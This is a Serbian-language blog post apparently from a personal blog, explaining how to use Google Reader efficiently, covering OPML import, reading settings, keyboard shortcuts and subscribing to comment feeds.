Nekada davno, davno, kada sam počinjao sa blogovanjem, ovde sam napravio kratak prikaz o tome šta je blogovanje, kako se čitaju blogovi i na kraju, kako se pišu. Tada sam, kao glavni alat za praćenje vaših omiljenih blogova predložio RSS Bandit i to zaista nije loše programče; no, vremena su se promenila. Sada iz sve snage preporučujem:

Google Reader

Naravno, verujem da ste za ovaj servis saznali i davno pre ovog posta 🙂 i ne pišem ga zbog toga; pišem da bi vam (možda) otkrio fazone i fore kako možete udobnije i efikasnije koristiti ovu web aplikaciju.

Iako to možda izgleda očigledno: da bi koristili Google Reader dovoljno je da imate bilo koju važeću e-mail adresu – nije obavezno da to bude Gmail adresa.

Uvoz “starih” blogova

Većina svih čitača podržava izvoz liste blogova koji pratite u takozvani OPML format; izvezite vašu listu iz vašeg tekućeg čitača u OPML, a onda tu listu uvezite u Google Reader:

Settings:

Google Reader - podešavanja
Google Reader - podešavanja (klikni za veću sliku)

Import/Export:

Google Reader - uvoz liste blogova preko OPML datoteke
Google Reader - uvoz liste blogova preko OPML datoteke

Kada ste već u Settings radnji, svratite i do Preferences sekcije; tu toplo savetujem da ne dozvolite Readeru da određuje kada ste pročitali članak:

Google Reader - podešavanje
Google Reader - podešavanje

(očistite kućicu ispred “In expanded view, mark items as read when you scroll past them.“)

Ok, omiljeni blogovi su tu; vreme je da se krene sa čitanjem; prvo, preporučujem da umesto Expanded View koristite List View:

Google Reader - podešavanje čitanja
Google Reader - podešavanje čitanja

Na Show Details možete videti koliko pretplatnika u Readeru još postoji za ovaj blog, kao i koliko često se blog osvežava. Na kraju, možete izabrati da li ćete videti sve tekstove (kao što je na slici) ili samo nove.

Takva podešavanja (za vidljivost) postoje i za celu listu blogova:

Google Reader - podešavanje liste blogova
Google Reader - podešavanje liste blogova

Na Discover možete da pokušate da nađete slične blogove blogovima koje pratite; na kraju, najvažnije dugme ovde je Add Subscription 🙂 za dodavanje novog bloga u listu.

Ovo je sve lepo i fino, ali se iz ovoga ne vidi zašto je Google Reader tako dobar? Vrlo prosto – Google Reader je optimizovan za efikasno i brzo čitanje blogova preko tastature (znate, ono belo ili crno sa puno dugmića, obično levo od miša 😛 )

Efikasno korišćenje

Priprema određenog bloga

Kada dodate određeni blog, preporučujem da ga “podesite” na sledeći način:

Google Reader - podešavanje bloga za efikasno čitanje (klikni za veću sliku)
Google Reader - podešavanje bloga za efikasno čitanje (klikni za veću sliku)
  • Prikaži samo nove tekstove
  • Sortiraj ih od starijih ka novijim
  • Obavezno u List modu

Znam da je ovo malo smarajuće podešavanje za svaki od blogova u listi (nisam našao način da to uradim globalno) ali je za utehu da se radi samo jednom po blogu.

Ok, podesili ste sada sve blogove u vašoj listi. Sada da vidimo kako se može lako kretati po listi:

Navigacija po blog listi

Generalno, akcije za kretanje po listi se izvode uz Shift + taster. Tako imamo sledeće kombinacije:

  • Shift + pPrevious ili uz listu
  • Shift + oOpen ili otvori tekstove
  • Shift + nNext ili niz listu
  • Shift + xeXpand folder ili otvori folder:

Čitanje određenog bloga

Kada jednom locirate blog čije tekstove želite da čitate, čitanje počinjete sa:

  • j (sledeći tekst) odnosno
  • k (prethodni):

Ako želite da odete do određenog teksta bez otvaranja svih između, koristite:

  • p (Previous) odnosno
  • n (Next)
Google Reader - čitanje teksta (klikni za veću sliku)
Google Reader - čitanje teksta (klikni za veću sliku)

Ostale bitne skraćenice su:

  • mMark: označi tekst pročitanim ili nepročitanim; pri tome će se tekst automatski označiti kao pročitan prilikom otvaranja; ako želite kasnije da mu se vratite, sa m skinete ovu oznaku.
  • sStar: “ozvezdiči” tekst da bi ga lakše našao kasnije (postoji posebna grupa gde idu ozvezdičeni tekstovi)
  • eEmail: slanje teksta kroz mail
  • shift + sShare: podeli tekst sa prijateljima (a možete i okačiti listu omiljenih tekstova na vaš blog)
  • tTag: dodaj labele tekstu

Takođe je interesantna i:

ufUll screen: sklanja listu sa leve strane i omogućava da ceo ekran posvetite tekstovima koje čitate.

Generalne skraćenice

Skraćenice vezane za Reader (a ne za listu ili tekstove):

  • rRefresh: osvežavanje liste / bloga
  • aAdd subscription: otvara prozor za dodavanje novog bloga u listu
  • = – Uvećanje teksta
  • – Umanjenje teksta

Najčešće skraćenice uvek možete dobiti pritiskom na ? (obično Shift + /).

Na kraju, najvažniji trik: toplo preporučujem da se pored prijave na blog UVEK prijavite i na rss od komentara:

Prijavite se na RSS od komentara
Prijavite se na RSS od komentara

Vrlo često su komentari zanimljiviji od samog teksta 🙂 a i tako nema potrebe da stalno odlazite na sajt, sem kada želite komentarima da pridodate i vaš. Oni blogeri koji ne daju RSS od komentara – sram vas bilo 🙂

Eto, nadam se da ćete preći na Google Reader u što većem broju 🙂

(inače, ako se nekome dopadaju, ovi screenshotovi su urađeni besplatnim i vrlo dobrim programčetom Jing)